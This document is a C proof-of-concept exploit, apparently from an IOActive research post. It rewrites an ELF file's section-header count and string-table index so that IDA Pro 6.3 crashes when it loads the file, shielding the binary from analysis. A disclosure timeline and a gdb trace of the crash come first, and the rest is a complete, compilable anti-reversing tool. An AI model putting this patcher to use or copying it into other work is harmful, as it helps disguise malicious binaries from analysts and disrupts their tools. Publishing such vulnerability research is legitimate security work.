IDA Pro 6.3 ELF Anti-Debugging / Reversing Patcher

/*
*
* IDA Pro 6.3 (crash due an internal error)
* ELF anti-debugging/reversing patcher
*
* Published @ IOActive Labs Research blog:
* http://blog.ioactive.com/2012/12/striking-back-gdb-and-ida-debuggers.html
*
* - nitr0us [ http://twitter.com/nitr0usmx ]
*
* Tested under:
* IDA Pro Starter License 6.3.120531 (Mac OS X)
* IDA Pro Demo            6.3.120730 (Ubuntu Linux 9.04)
* IDA Pro Demo            6.3.120730 (Mac OS X 10.7.3)
* IDA Pro Demo            6.3.120730 (Windows Vista Home Premium SP2)
*
* Bug found using Frixyon fuzzer (my ELF file format fuzzer still in development)
*
* Timeline:
* 21/11/2012    The bug was found on IDA Demo 6.3
* 22/11/2012    The bug was tested on IDA Pro Starter License 6.3.120531 (32-bit)
* 22/11/2012    The bug was reported through the official Hex-Rays contact emails
* 23/11/2012    Hex-Rays replied and agreed that the bug leads to an unrecoverable
*               state and it will be fixed on the next release
*
**************** TECHNICAL DETAILS ***********************
nitr0us@burial:~$ gdb -q idaq
(gdb) r a.out
(no debugging symbols found)

Program received signal SIGTRAP, Trace/breakpoint trap.
[Switching to Thread 0xb6860760 (LWP 3638)]
0xb55f7694 in default_notification_handler (reader=@0xbfbffae0,
    notif=reader_t::err_shstrndx) at reader.cpp:33
33      reader.cpp: No such file or directory.
        in reader.cpp
Current language:  auto; currently c++
(gdb)

The root cause of the problem is that there's no validation to
verify if e_shstrndx > e_shnum before referencing it.

**********************************************************
*
* [Compilation] $ gcc ida_63_elf_shield.c -o ida_63_elf_shield -Wall
*
* Sh0utz: IOActive fellows, CRAc, b33rc0n crew (dex, hkm, calderpwn,
*         Carlos Ayala, Daemon [Thanks for test it on IDA paid $$$],
*         LightOS) chr1x, alt3kx, tr3w, crypkey, el_chito, nahual, beck,
*         sirdarkcat, NataS, ran, Fede Bossi, nediam, psymera, Rolman,
*         Kbrown, Bucio, p4dm3, Hector Lopez, zeus, Matias Brutti,
*         sunl3vy, Raaka_elgaupo, vendetta, raito, beavis, el5patas,
*         vi0let.
*
*
* http://chatsubo-labs.blogspot.com
* http://www.brainoverflow.org
*
*/

#include <sys/mman.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdio.h>
#include <fcntl.h>
#include <time.h>

#define EI_NIDENT       16
#define ELFCLASS32      1               /* 32-bit objects */
#define ELFDATA2LSB     1               /* 2's complement, little endian */

const char e_magic[4] = { 0x7f, 'E', 'L', 'F' };

typedef uint16_t Elf32_Half;
typedef uint32_t Elf32_Word;
typedef uint32_t Elf32_Addr;
typedef uint32_t Elf32_Off;

typedef struct
{
  unsigned char e_ident[EI_NIDENT];     /* Magic number and other info */
  Elf32_Half    e_type;                 /* Object file type */
  Elf32_Half    e_machine;              /* Architecture */
  Elf32_Word    e_version;              /* Object file version */
  Elf32_Addr    e_entry;                /* Entry point virtual address */
  Elf32_Off     e_phoff;                /* Program header table file offset */
  Elf32_Off     e_shoff;                /* Section header table file offset */
  Elf32_Word    e_flags;                /* Processor-specific flags */
  Elf32_Half    e_ehsize;               /* ELF header size in bytes */
  Elf32_Half    e_phentsize;            /* Program header table entry size */
  Elf32_Half    e_phnum;                /* Program header table entry count */
  Elf32_Half    e_shentsize;            /* Section header table entry size */
  Elf32_Half    e_shnum;                /* Section header table entry count */
  Elf32_Half    e_shstrndx;             /* Section header string table index */
} Elf32_Ehdr;

int isELF(int fd);

int main(int argc, char **argv)
{
 Elf32_Ehdr *header;
 Elf32_Half new_shnum;
 Elf32_Half new_shstrndx;
 int  fd;

 printf("######################################################\n");
 printf("#                                                    #\n");
 printf("# IDA Pro 6.3 - ELF anti-debugging/reversing patcher #\n");
 printf("#                      -nitr0us-                     #\n");
 printf("#                                                    #\n");
 printf("######################################################\n\n");

 if(argc < 2){
  fprintf(stderr, "Usage: %s <elf_file_to_patch>\n", argv[0]);
  exit(-1);
 }

 if((fd = open(argv[1], O_RDWR)) == -1){
  perror("open");
  exit(-1);
 }

 if(!isELF(fd)){
  close(fd);
  exit(-1);
 }

 // Mapping to memory only the necessary bytes [sizeof(header)]
 if((header = (Elf32_Ehdr *) mmap(NULL, sizeof(header), PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0)) == MAP_FAILED){
  perror("mmap");
  close(fd);
  exit(-1);
 }

 printf("[*] The ELF file originally has:\n");
 printf("[-] Ehdr->e_shnum:    %5d (0x%.4x)\n", header->e_shnum, header->e_shnum);
 printf("[-] Ehdr->e_shstrndx: %5d (0x%.4x)\n\n", header->e_shstrndx, header->e_shstrndx);

 printf("[*] Patching \"%s\" with new random() values...\n\n", argv[1]);

 srand(time(NULL)); // seed for rand()

 new_shnum    = (Elf32_Half) rand() % 0x1337;
 new_shstrndx = (Elf32_Half) 0;

 while(new_shstrndx < new_shnum)
  new_shstrndx = (Elf32_Half) rand() % 0xDEAD;

 header->e_shnum    = new_shnum;
 header->e_shstrndx = new_shstrndx;

 // Synchronize the ELF in file system with the previous memory mapped
 if(msync(NULL, 0, MS_SYNC) == -1){
  perror("msync");
  close(fd);
  exit(-1);
 }

 close(fd);
 munmap(header, 0);

 printf("[*] The patched ELF file now has:\n");
 printf("[+] Ehdr->e_shnum:    %5d (0x%.4x)\n", new_shnum, new_shnum);
 printf("[+] Ehdr->e_shstrndx: %5d (0x%.4x)\n\n", new_shstrndx, new_shstrndx);

 printf("[*] IDA Pro 6.3 should crash trying to load \"%s\"\n", argv[1]);

 return 0;
}

int isELF(int fd)
{
 Elf32_Ehdr header;

 if(read(fd, &header, sizeof(header)) == -1){
  perror("isELF(): read");
  return 0;
 }

 /* magic number verification */
 if(memcmp(header.e_ident, e_magic, 4) != 0){
  fprintf(stderr, "The argument given is not an ELF file !\n");
  return 0;
 }

 /* 32-bit class verification */
 if(header.e_ident[4] != ELFCLASS32){
  fprintf(stderr, "Only 32-bit ELF files supported !\n");
  return 0;
 }

 /* little-endian verification */
 if(header.e_ident[5] != ELFDATA2LSB){
  fprintf(stderr, "Only little-endian ELF files supported !\n");
  return 0;
 }

 return 1;
}